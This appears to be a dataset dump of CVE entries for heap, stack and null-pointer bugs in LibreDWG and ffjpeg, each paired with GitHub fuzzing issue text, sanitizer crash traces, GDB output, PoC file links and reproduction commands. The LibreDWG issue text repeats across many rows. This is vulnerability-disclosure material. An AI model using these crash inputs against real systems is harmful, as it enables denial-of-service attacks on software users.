**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,956 |
CVE-2020-21836 | 2021-05-17T21:15:07.463 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_preview ../../src/decode.c:3175. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,957 |
CVE-2020-21838 | 2021-05-17T21:15:07.493 | A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via: read_2004_section_appinfo ../../src/decode.c:2842. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,958 |
CVE-2020-21839 | 2021-05-17T21:15:07.523 | An issue was discovered in GNU LibreDWG 0.10. Crafted input will lead to an memory leak in dwg_decode_eed ../../src/decode.c:3638. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,959 |
CVE-2020-21840 | 2021-05-17T21:15:07.557 | A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_search_sentinel ../../src/bits.c:1985. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,960 |
CVE-2020-21841 | 2021-05-17T21:15:07.587 | A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_read_B ../../src/bits.c:135. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,961 |
CVE-2020-21831 | 2021-05-17T22:15:07.377 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_handles ../../src/decode.c:2637. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,962 |
CVE-2020-21842 | 2021-05-17T22:15:07.407 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_revhistory ../../src/decode.c:3051. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
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#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,963 |
CVE-2020-21843 | 2021-05-17T22:15:07.437 | A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_read_RC ../../src/bits.c:318. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,964 |
CVE-2020-23851 | 2021-05-18T15:15:07.693 | A stack-based buffer overflow vulnerability exists in ffjpeg through 2020-07-02 in the jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c:513:28, which could cause a denial of service by submitting a malicious jpeg image. | {
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"rockcarry",
"ffjpeg"
] | ffjpeg "jfif_decode" function stack-buffer-overflow vulerability
Description:
There is a stack-buffer-overflow bug in jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c:513:28
An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a malicious jpeg image.
The bug is caused by the dangerous pointer variable using as follow:
x = ((mcui % mcuc) * mcuw + h * 8) * jfif->comp_info[c].samp_factor_h / sfh_max;
y = ((mcui / mcuc) * mcuh + v * 8) * jfif->comp_info[c].samp_factor_v / sfv_max;
idst = yuv_datbuf[c] + y * yuv_stride[c] + x;
the variable yuv_datbuf is an integer pointer array, but there is no security check before the using of yuv_datbuf (jfif.c: line 513).
We used AddressSanitizer instrumented in ffjpeg and triggered this bug, the output of asan as follow:
=================================================================
==4436==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff9fa0bfd8 at pc 0x0000004f345f bp 0x7fff9f
READ of size 8 at 0x7fff9fa0bfd8 thread T0
#0 0x4f345e in jfif_decode /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:513:28
#1 0x4ed951 in main /root/Downloads/fuzz_code/ffjpeg/src/ffjpeg.c:24:9
#2 0x7fcbfd63eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#3 0x41b929 in _start (/root/Downloads/fuzz_code/ffjpeg/src/ffjpeg+0x41b929)
Address 0x7fff9fa0bfd8 is located in stack of thread T0 at offset 280 in frame
#0 0x4f120f in jfif_decode /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:378
This frame has 5 object(s):
[32, 160) 'ftab' (line 381)
[192, 208) 'dc' (line 382)
[224, 236) 'yuv_stride' (line 387)
[256, 280) 'yuv_datbuf' (line 389) <== Memory access at offset 280 overflows this variable
[320, 576) 'du' (line 476)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:513:28 in jfif_decod
Shadow bytes around the buggy address:
0x100073f397a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f397b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f397c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f397d0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
0x100073f397e0: 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2
=>0x100073f397f0: 00 00 f2 f2 00 04 f2 f2 00 00 00[f2]f2 f2 f2 f2
0x100073f39800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f39810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f39820: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x100073f39830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100073f39840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4436==ABORTING
We could clearly observe the stack overflow in jfif_decode function at 0x4f345e, and the variable yuv_datbuf was overflowing.
Lastly, we used GDB to debug this bug, the GDB outputs:
Reading symbols from ./ffjpeg...done.
gdb-peda$ set args -d poc_stack.fuzz
gdb-peda$ b * 0x4f345e
Breakpoint 1 at 0x4f345e: file jfif.c, line 513.
gdb-peda$ r
Starting program: /root/Downloads/fuzz_code/ffjpeg/src/ffjpeg -d poc_stack.fuzz
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe160 --> 0x7ffff6e90510 (<flush_cleanup>: mov rax,QWORD PTR [rip+0x360379] # 0x7ffff71f0890 <run_fp>)
RCX: 0xffffffffbff --> 0x0
RDX: 0x0
RSI: 0x7474b8 --> 0xfede00 --> 0x1000100 --> 0x0
RDI: 0x7fffffffdff8 --> 0xb40 ('@\x0b')
RBP: 0x7fffffffe3d0 --> 0x7fffffffe4c0 --> 0x50ee40 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffded8 --> 0x4f345f (<jfif_decode+8799>: call 0x4b6cc0 <__asan::__asan_report_load8(__sanitizer::uptr)>)
RIP: 0xffffffffcd4b6cc0
R8 : 0xfede00 --> 0x1000100 --> 0x0
R9 : 0xffffffffc06 --> 0x0
R10: 0x7fffffffe110 --> 0x3f8000003f800
R11: 0xffffffffc1a --> 0x0
R12: 0x1
R13: 0x1fb
R14: 0x0
R15: 0x0
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xffffffffcd4b6cc0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffded8 --> 0x4f345f (<jfif_decode+8799>: call 0x4b6cc0 <__asan::__asan_report_load8(__sanitizer::uptr)>)
0008| 0x7fffffffdee0 --> 0x41b58ab3
0016| 0x7fffffffdee8 --> 0x522e48 ("5 32 128 8 ftab:381 192 16 6 dc:382 224 12 14 yuv_stride:387 256 24 14 yuv_datbuf:389 320 256 6 du:476")
0024| 0x7fffffffdef0 --> 0x4f1200 (<jfif_decode>: push rbp)
0032| 0x7fffffffdef8 --> 0x0
0040| 0x7fffffffdf00 --> 0x6110000002c0 --> 0x2c600000200 --> 0x0
0048| 0x7fffffffdf08 --> 0x611000000400 --> 0x42900000300 --> 0x0
0056| 0x7fffffffdf10 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffffffcd4b6cc0 in ?? ()
We ensured there is a stack overflow bugs, which will be used to finish a DoS attack.
You can reproduce this stack overflow vulnerability by the follow step:
ffjpeg -d [PoC_stackoverflow_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_stackoverflow_ffjpeg) | ffjpeg "jfif_decode" function stack-buffer-overflow vulerability | https://api.github.com/repos/rockcarry/ffjpeg/issues/27/comments | 1 | 2020-07-02T10:41:13Z | 2020-07-27T08:22:45Z | https://github.com/rockcarry/ffjpeg/issues/27 | 649,828,421 | 27 | 1,965 |
CVE-2020-23852 | 2021-05-18T15:15:07.847 | A heap based buffer overflow vulnerability exists in ffjpeg through 2020-07-02 in the jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c (line 544 & line 545), which could cause a denial of service by submitting a malicious jpeg image. | {
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"rockcarry",
"ffjpeg"
] | ffjpeg "jfif_decode" function heap-overflow vulnerabilities
Description:
There are two heap-overflow bugs in jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c: line 544 & line 545
An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a malicious jpeg image.
We finded the integer pointer array variable yuv_datbuf[] which cannot have bound sanity, so the using of variable yuv_datbuf[] is dangerous.
As the issue 27 (https://github.com/rockcarry/ffjpeg/issues/27) showed, the using of yuv_datbuf[] caused security vulnerabilities.
We tracked the using of yuv_datbuf, and finded two heap-overflow bugs, at ffjpeg/src/jfif.c: line 544 & line 545 :
usrc = yuv_datbuf[2] + uy * yuv_stride[2] + ux;
vsrc = yuv_datbuf[1] + vy * yuv_stride[1] + vx;
We used asan to recognize these vulnerabilities, the output of asan as follow:
=================================================================
==40953==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x0000004f2f0a bp 0x7ffecaf45690 sp 0x7ffecaf45688
READ of size 4 at 0x602000000010 thread T0
#0 0x4f2f09 in jfif_decode (/root/ffjpeg/src/ffjpeg+0x4f2f09)
#1 0x4eb545 in main (/root/ffjpeg/src/ffjpeg+0x4eb545)
#2 0x7fbe45680b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#3 0x41ac89 in _start (/root/ffjpeg/src/ffjpeg+0x41ac89)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x4a71a0 in malloc /root/llvm-project/llvm/projects/compiler/lib/asan/asan_malloc_linux.cc:145
#1 0x4f1457 in jfif_decode (/root/ffjpeg/src/ffjpeg+0x4f1457)
#2 0x4eb545 in main (/root/ffjpeg/src/ffjpeg+0x4eb545)
#3 0x7fbe45680b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/ffjpeg/src/ffjpeg+0x4f2f09) in jfif_decode
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa 01 fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==40953==ABORTING
the asan telled us there is a heap-buffer-overflow on address 0x602000000010 at pc 0x0000004f2f0a bp 0x7ffecaf45690 sp 0x7ffecaf45688
Then we used IDA to locate this triggered bug.
